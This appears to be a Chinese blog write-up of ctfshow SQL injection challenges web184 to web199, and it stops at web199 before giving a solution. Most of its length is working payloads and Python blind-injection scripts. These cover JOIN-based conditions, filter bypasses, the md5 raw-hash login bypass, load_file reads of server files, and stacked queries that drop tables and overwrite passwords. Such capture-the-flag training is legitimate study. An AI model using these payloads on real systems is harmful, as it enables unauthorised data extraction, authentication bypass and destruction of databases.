最后的结果就是我们想要的flag

image-20241210163637692

web184

#RIGHT JOIN 关键字注入

#盲注绕过

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

这次的过滤更多了,我们的sleep函数和where这些都被过滤掉了,那我们先正常看看页面的回显信息

image-20241211170048242

image-20241211170125575

可以看到和上一题的回显还是一样的,不过我们上一个题目的布尔盲注的脚本已经打不通了,这里我们用一个新方法,就是左右连接

方法一:左右连接

讲到这个,我们首先也是先要理解概念,这里我进行分布解析(因为这段时间有点忙,数据库还没搭出来,所以我先用其他师傅的图片进行讲解)

join连接

SQL join 用于把来自两个或多个表的行结合起来。

join 为连接查询 ,能将多个表连接一起查询

img

如果我们分别进行查询两个表的内容

在这里插入图片描述

连接查询的七种用法

INNER JOIN 返回两个表中满足连接条件的记录(交集)。
LEFT JOIN 返回左表中的所有记录,即使右表中没有匹配的记录(保留左表)。
RIGHT JOIN 返回右表中的所有记录,即使左表中没有匹配的记录(保留右表)。
FULL OUTER JOIN 返回两个表的并集,包含匹配和不匹配的记录。
CROSS JOIN 返回两个表的笛卡尔积,每条左表记录与每条右表记录进行组合。
SELF JOIN 将一个表与自身连接。
NATURAL JOIN 基于同名字段自动匹配连接的表。

那我们这里讲一下右连接

right join右连接

RIGHT JOIN 是 SQL 中的一个连接关键字,用于从多个表中提取数据。

RIGHT JOIN 会返回右表中的所有记录,即使左表中没有匹配的记录

  • 基础语法
1
2
3
4
SELECT column_name(s)
FROM table1
RIGHT JOIN table2
ON table1.column_name=table2.column_name;

解析代码

  • able1:左表。
  • table2:右表,RIGHT JOIN 会保留该表的所有记录。
  • ON table1.column_name=table2.column_name:指定连接条件,通常是两个表的共同字段。
在sql注入中的利用

在sql注入中 有的过滤会把where给过滤掉,同时if的判断也不太好用
那么就可以用join 后面的on 来进行我们想要的判断
,这道题就是我们可以拿来做的一道左右连接的题目

payload:

1
tableName=`ctfshow_user` as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))

先解析一下这个payload:

  1. tableName=ctfshow_user as b: 这部分应该是一个表的引用,表示我们正在选择名为 ctfshow_user 的表,并将其别名为 b。在 SQL 查询中,使用别名可以使查询更简洁易读。
  2. right join: 这是一个 SQL 连接操作,表示我们将进行一个右连接(RIGHT JOIN)。右连接返回右侧表(在此例中为ctfshow_user)中的所有记录,以及与左侧表(如果有的话)匹配的记录。如果左侧表中没有匹配的记录,结果中仍会包含右侧表中的记录,但左侧表的字段会返回 NULL。
  3. on substr(b.pass,1,1) regexp(char(46)): 这是连接条件,表示我们希望根据某个条件来连接这两个表。具体来说:
    • substr(b.pass, 1, 1): 这个函数从 b.pass 字段中提取字符串的第一个字符。
    • regexp(char(46)): 这个条件使用正则表达式进行匹配。char(46) 返回 ASCII 值为 46 的字符,即点(.)。因此,这里是在检查 b.pass 字段的第一个字符是否为点(.)。

贴一个Y4tacker师傅的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

有一点奇怪的问题,就是说,在进行测试的时候,得到$user_count = 22;作为筛选条件,但是实际上用代码跑flag的时候,却是用$user_count = 43;作为筛选条件。这是为什么呢?我一开始也不是很明白,后面查阅了很多wp才找到相关的解释

我们先写一个简单的payload

这里是用的左连接哈,其实和右连接没什么区别

1
tableName= ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42)))

先解析一下代码

  1. 表和别名

    • 使用了同一个表

      ctfshow_user

      并为这个表创建了两个别名:

      • a 作为左表别名
      • b 作为右表别名
  2. **左连接 (left join)**:

    • LEFT JOIN 保留左表(别名为 a)中的所有记录。
    • 如果右表(别名为 b)有匹配的记录,则显示匹配记录;如果没有匹配记录,则为右表的列显示 NULL
  3. 连接条件

    • a.pass regexp(CONCAT(char(99),char(116),char(42))
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62

      - `char(99)`、`char(116)` 和 `char(42)` 分别对应字符 'c'、't' 和 '*'。
      - `CONCAT(char(99),char(116),char(42))` 合并为字符串 'ct*'。
      - `a.pass regexp('ct*')` 使用正则表达式匹配,检查 `a.pass` 是否包含与这个正则表达式匹配的模式。

      ![image-20241211173354151](./../image/achieve/202411/sql注入--ctfshow/image-20241211173354151.png)

      这里可以看到是成功执行了的

      在上面的解析中,我们只需要关注一句话:

      `LEFT JOIN` 保留左表(别名为 `a`)中的所有记录,如果右表(别名为 `b`)有匹配的记录,则显示匹配记录;如果没有匹配记录,则为右表的列显示 `NULL`。

      那我们来分析一下这个43:

      左连接,保留左表中的数据,22条。

      对于连接条件on a.pass regexp(‘ct*’) ,在a中22条数据肯定有一条是满足该条件的,并且a是左表,所以筛选出来的这条数据对应的b表数据(22条)都满足条件。,剩下的a中21条不满足on,所以对应的b的22条也不满足。

      a中满足条件的一条数据与b表所有数据做全连接,22条。a表还剩21条,对于的b表不满足,全部为null,21+22=43。

      ### 方法二:十六进制构造盲注

      where也过滤了,用having代替;

      引号被过滤了,那么字符串部分可以采用16进制绕过

      脚本

      ```python

      import requests

      url = "http://7c144dfc-2962-414f-9d0c-efaa4064f85a.challenge.ctf.show/select-waf.php"

      letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
      def asc2hex(s):
      a1 = ''
      a2 = ''
      for i in s:
      a1+=hex(ord(i))
      a2 = a1.replace("0x","")
      return a2
      #将输入的字符转化成十六进制
      #通过迭代字符串 s 中的每个字符,用 ord() 获得其 ASCII 值,然后用 hex() 转换为十六进制,并去除前缀 0x,最后拼接成一个连续的字符串。
      flag = "ctfshow{"
      for i in range(0,100):
      for j in letter:
      temp_flag = flag+j
      data ={
      "tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%"))
      }
      #print(data["tableName"])

      r = requests.post(url=url,data=data)
      if "$user_count = 1;" in r.text:
      flag += j
      print(flag)
      break
      else:
      continue

image-20241211200636369

web185

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

这里的话是过滤了数字的,我们可以考虑用一些其他的字符去构造数字,有点像自增rce中的构造

方法:用true构造字符

先进行分析

因为ctfshow{的十六进制是0x63746673686f777b,c 的 ASCII码十六进制是0x63,十进制是90

所以我们看看怎么构造数字

true 等于1 ,false等于0,且 true+true = 2(这点非常重要)用 true 相加可以构造数字

– 构造数字

– 0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true

– 用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))

– 这样在本地环境中可得 0x63

– 但很可惜,x 使用了单引号(被过滤),所以我们尝试用数字表示 x

–构造字母

–这里的话要用到char()函数,这个函数支持十进制和十六进制

–x的ASCII码在十六进制中是0x78,十进制是120

–所以我们获取x 的方法就是:char(0x78),char(120)

–我们选择构造十进制

–x 的十进制为120,所以我们添加120个true相加就可以了,但是我们也可以把120拆分为1,2,0,然后构造true、true+true、false

–最终获取x

char(concat(true,(true+true),false))

–那么完整的ctf的十六进制构造结果就是

concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))

但是发现其实跑不出来,为什么,因为ctf的十六进制0x637466为字符串,mysql只支持十六进制的数字,不支持字符串(这一点要记住)

–那么我们试一下十进制的构造

–ctf中c的十进制是99,t的十进制是116,f的十进制是102

–concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))

所以我们构造payload

1
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))

//原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)

所以我们的脚本

true构造payload注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = 'http://6b09a51f-ecd1-43d6-b984-14af0522e769.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz_}'
flagstr = ''
flag = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
'3':'(true+true+true),','4':'(true+true+true+true),',
'5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}

for j in range(100): #不知道 flag 长度(实际有38位,从{算起,到}结束)
for i in strlist:
m = ''
#将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
#对其十进制进行拆分转换,这样可以降低一点时间复杂度
for x in str(ord(i)):
m += strdict[x]
m = 'char(concat('+m[:-1]+')),'

data = {
'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
}

respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------'+i+'正确')
flagstr += m
flag += i
print('ctfshow'+flag)
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整

web186

1
2
3
4
5
6
7
8
9
10
11
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0;

用185的脚本并不影响这道题

个人认为 185 的预期解是用位运算符,因为 186 屏蔽了位运算符,等后面得空了再回来补这个位运算的做法

web187

#md5碰撞注入

image-20241212200919176

题目终于变了

1
2
3
4
5
6
7
8
9
10
11
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

我们先分析一下

$password = md5($_POST[‘password’],true);

md5(string,raw)函数

在 PHP 中,md5() 函数可以接受两个参数。第一个参数是要计算散列值的字符串,而第二个参数是一个布尔值,用于指定是否返回原始二进制格式的散列值。

  • 当第二个参数设置为 false 或者不提供时,md5() 函数将返回一个32位的十六进制散列值(即字符串形式的散列值)。
  • 当第二个参数设置为 true 时,md5() 函数将返回一个16字节(128位)的二进制格式的散列值。这个二进制格式的散列值不是以文本形式表示的,而是以字节的形式表示。

md5看似是非常强加密措施,但是一旦没有返回我们常见的16进制数,返回了二进制原始输出格式,在浏览器编码的作用下就会编码成为奇怪的字符串(对于二进制一般都会编码)。

我们使用md5碰撞,一旦在这些奇怪的字符串中碰撞出了可以进行SQL注入的特殊字符串,那么就可以越过登录了。

在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop

所以这里的话我们采用md5碰撞的绕过

md5(“ffifdyop”,true) => ‘or’6É]™é!r,ùíb

可以看到这里是有or的,所以我们传入password为ffifdyop

这时候查询语句就变成了

1
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

payload

1
2
username=admin
password=ffifdyop

点击登录后发现登录成功,但是并没有看到我们的flag,我们抓包看看

image-20241212201845886

果然在response包中不过好像数字型的打不了,应该是注入类型不对

web188

#sql弱比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));

payload是:username=0 password=0

原因是:

查询语句的where判断是username={$username},并没有引号包裹,那么就可以输入数字了。

在官方手册中,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==0a,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)

然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
在这里插入图片描述

web189

#布尔盲注

题目提示flag在api/index.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

这里的话应该是让我们去读取那个index.php文件,且注入点在username,那我们具体分析一下过滤了的字符有哪些

  • select, and, or, into, from, where, join, sleep, benchmark: 这些都是 SQL 中的关键字
  • (空格): 匹配空格字符,可能被用于分隔 SQL 关键字。
  • \*: 匹配星号 *,常用于选择所有列。
  • \x09, \x0a, \x0b, \x0c, \x0d: 这些是对应于不同类型的空白字符的十六进制表示,分别是水平制表符和换行符等。
  • \xa0: 匹配非断行空格(NBSP),可能用于绕过某些过滤。
  • \x00: 匹配空字符,通常用于字符串终止。
  • \x26: 匹配字符 &,在某些情况下可能用于构造恶意的 SQL 查询。
  • \x7c: 匹配字符 |,也可能在某些注入中使用。

这里的话可以看到联合注入和时间盲注(sleep和benchmark)应该是行不通的了,into被过滤了我们不能写入文件

我们考虑一下布尔盲注的做法,先看看页面回显

根据我们sql里的弱比较,当我们输入username为0的时候,还是会正常匹配所有开头不是数字或者为0的字符串和数字0,所以

username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)

因为我们这里的and和or都被过滤了,所以我们正常的1 and xxxx这种注入用不了,所以我们选用第二个’查询失败’的条件去进行注入

payload:

1
username=if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{j}',1,0)

读取文件load_file()函数

LOAD_FILE() 函数是 MySQL 数据库中的一个函数,用于读取服务器上的文件内容。这个函数可以返回指定文件的内容,前提是 MySQL 用户具有访问该文件的权限,并且 MySQL 服务器能够读取该文件。

基础语法

1
LOAD_FILE(file_name)
  • file_name:要读取的文件的完整路径,通常需要用单引号括起来,例如 'C:/path/to/file.txt'

但是这里还需要注意一个点,就是在index.php中我们并不知道flag在哪个位置,所以我们要一个个去试了,这里我直接给出其他师傅的脚本,做了一点点改动

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
#import time
#因为环境问题有时候会有网络延迟导致脚本判断出错,加上时间延迟这样可以保证脚本跑出来的数据不会出错
url = "http://f7b0966e-c6c1-4c2f-ae6d-93ccfa526305.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
# 这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257, 257 + 60):
for x in flagstr:
data = {
"username": f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{x}',1,0)",
"password": "0"
}
print(data)
response = requests.post(url, data=data)
# time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if "8d25" in response.text:
print(f"++++++++++++++++++ {x} is right")
flag += x
print(flag) # 确保缩进正确
break
else:
continue
if "}" in flag: # 判断 flag 是否获取完整
print(flag)
exit()

print(flag)

布尔盲注

web190

#无过滤的布尔盲注

开启不饿盲注的章程

image-20241213144553412

首先可以看到username多了两个单引号包围,应该是字符型注入,然后我们分析一下返回逻辑,密码只能是数字且密码要等于里面的密码

1
2
3
4
username=admin
password=0显示密码错误
username=1
password=0显示用户名不存在

可以看到正常的回显是显示密码错误,我们试一下布尔盲注,先测试一下

因为我们已知我们的数据库名是ctfshow_web,长度是11,所以我们试一下

1
2
3
4
username=admin' and length(database())=11#
password=1显示密码错误
username=admin' and length(database())=12#
password=1显示用户名不存在

说明当我们的username的判断条件是正确的时候,就会显示只是密码错误,由此我们直接给出脚本

我这里写简略一点,具体的脚本已经在前面的题给过了

爆数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

database_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr(database(),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
database_name += chr(j)
print(database_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('数据库名字为: '+ str(database_name))

爆表名(这个可以直接爆出所有的表名)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "http://cd60730f-4ae4-4cee-9817-a08a9ef5de75.challenge.ctf.show/api/"

table_name = ""

for i in range(1, 100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32, 128):
data = {
"username": f"admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)

if "u8bef" in r.text: # 检查响应中是否包含特定字符串
table_name += chr(j) # 添加找到的字符
print(table_name)
found_character = True # 标记字符已找到
break # 跳出内层循环

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break

print('表名字为: ' + str(table_name))

爆字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

column_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
column_name += chr(j)
print(column_name)
found_character = True # 标记字符已找到
break
# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('字段名字为: '+ str(column_name))

爆数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

flag_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ascii(substr((select f1ag from ctfshow_fl0g),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += chr(j)
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

这里的话我设置了限制条件,这样的话就不会一直跑循环

web191

#过滤ascii

image-20241213153930320

开始有过滤了

绕过ascii函数

过滤了ascii,可以用ord方法代替

ord()与ascii()的区别:

ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。

如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。

然后脚本是一样的了,只需要把ascii换成ord就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

flag_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
data={
"username": f"admin' and ord(substr((select f1ag from ctfshow_fl0g),{i},1))='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += chr(j)
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

不过这道题我后来换成去掉外层的ascii相关的函数,只用substr函数去进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/"

database_name =""
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in range(32,128):
k=chr(j)
data={
"username": f"admin' and substr(database(),{i},1)='{k}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
database_name += k
print(database_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('数据库为: '+ database_name)

发现爆出来的数据库名这些都是大写的,为什么呢?

  1. MySQL
    • 数据库和表名:在 Unix/Linux 系统中,数据库和表名是大小写敏感的;而在 Windows 系统中则是不敏感的。
    • 列名:列名通常是不敏感的。
    • 字符串比较:默认情况下,字符串比较是大小写不敏感的,但可以通过设置排序规则来使其变为大小写敏感。

目前来看猜测是这样的

web192

#绕过ord,ascii

image-20241213162551431

这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。

设置字符串集合flagstr = “}{abcdefghijklmnopqr-stuvwxyz0123456789_”

然后写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url="http://f0e52352-c322-491f-8864-17975370c02f.challenge.ctf.show/api/"

flag_name =""
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in flagstr:
data={
"username": f"admin' and substr((select f1ag from ctfshow_fl0g),{i},1)='{j}'#",
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += j
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

web193

#绕过substr

image-20241213163605305

这次是轮到绕过substr函数了

绕过substr方法

(我直接把上面的知识点搬下来了)

函数替换:如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样

left(str,index)从左边第index开始截取

right(str,index)从右边第index开始截取

substring(str,index)从左边index开始截取

mid(str,index,len)截取str从index开始,截取len的长度

lpad(str,len,padstr)

rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

这里我们用left去做,但是要注意的一个点是,left截取的不是单一字符而是字符串,所以我们需要设置一个变量去对接

我这里打了很多遍都没打通,后来才发现是列名变了,所以提醒大家不要想当然,要一步步去做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url="http://e299f40d-d02a-4ded-89c0-3566dc24d6c0.challenge.ctf.show/api/"

flag_name =""
strname = ""
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in flagstr:
data={
"username": "admin' and left((select f1ag from ctfshow_flxg),{})='{}'#".format(i,strname+j),
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += j
strname += j
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

web194

image-20241213165352888

过滤了left和right,substring,但是还是有其他方法可以做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url="http://d2635ccb-8fe2-4424-b864-251f51596cfa.challenge.ctf.show/api/"

flag_name =""
strname = ""
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
for i in range(1,100):
found_character = False # 标志变量,用于跟踪当前字符是否找到

for j in flagstr:
data={
"username": "admin' and mid((select f1ag from ctfshow_flxg),1,{})='{}'#".format(i,strname+j),
"password": "1"
}
r = requests.post(url, data=data)
print(data)
if "u8bef" in r.text:
flag_name += j
strname += j
print(flag_name)
found_character = True # 标记字符已找到
break

# 如果在当前循环中没有找到字符,结束外层循环
if not found_character:
print('未找到更多字符,结束循环。')
break
print('flag为: '+ str(flag_name))

这里用mid去做,但是有一个点要注意就是我们的payload是从1开始的不是从0开始

mid(str,index,len)截取str从index开始,截取len的长度

这里是从index开始,并不是从第index开始

堆叠注入

web195

#update更新pass实现堆叠注入

image-20241213170324748

这里有一个小细节就是我们的查询语句username后面加了一个分号,所以我们堆叠注入的末尾其实可以不用加分号了

过滤了select,单双引号也被过滤,没有报错提示。

没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤

根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。

通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。

所以我们尝试着把我们的密码改成1,这里用update去更新我们的pass

1
2
username=1;update`ctfshow_user`set`pass`=1&password=1
password=1

提交两次即可,第一次触发修改,第二次的话我们用username=0去登录,也就是我们sql里面的弱比较原则

web196

#select绕过password检测

提示用户名不能太长

image-20241213171905341

这里限制了用户名的长度不能超过16位

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是

忘记改了。不过se1ect也并没有被过滤,感觉纯粹就是没有加select的过滤~)

非预期解:

这里的话我们用select去绕过password的检测

判断条件满足的设定是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以堆叠注

入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当row 获取到第二个查询语句 select(9) 的结果集时,即可获得row[0]=9,那么password输入9就可以满足条件判断。同样输入其他密码也可以

官方的预期解:
payload

1
2
username=0(用弱比较去匹配用户名)
password=passwordAUTO(之前泄露的原始密码)

web197

#对表进行操作堆叠注入

image-20241213201851603

这里的话是把select过滤了的,没办法用上一题的做法了

这里我们只需要满足输入的账号密码正确就可以,因为这里可以堆叠注入,我先给payload

payload:

1
2
username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(255),`pass` varchar(255)); insert ctfshow_user(`username`,`pass`) values(1,2)
password随便填,不影响

理解一下这段代码

这里的话是我们删掉了原来的ctfshow_user表,然后新建一个同名的表并设置里面的两个字段的值,设置好后我们访问登录就可以登录成功了

  • varchar(255)

VARCHAR 表示“可变长度字符”(Variable Character),意味着可以存储长度不固定的字符串。(255)指定了这个 VARCHAR 字段可以存储的最大字符数。

这里其实用alter关键字去做也是可以的但是这里就不演示了

alter关键字

SQL 中,ALTER 是一个关键字,用于修改现有数据库对象的结构。具体来说,它可以用于更改表的结构,例如添加、删除或修改列。

ALTER TABLE

ALTER TABLE命令添加,删除或修改表中的列。

ALTER TABLE命令还可以添加和删除表中的各种约束。

payload:

1
2
usernanme=1
password=2

web198

#insert插入数据进行堆叠注入

image-20241213203837604

这里去掉了对表的一些删除和添加操作,应该又是学习新方法了

这里我们用insert去插入数据

payload:

1
2
username=0;insert ctfshow_user(`username`,`pass`) value(1,2)
password随便设置

然后再进行登录就可以了

web199

image-20241213204706164

这道题多过滤了一个括号符号,前面的方法走不通

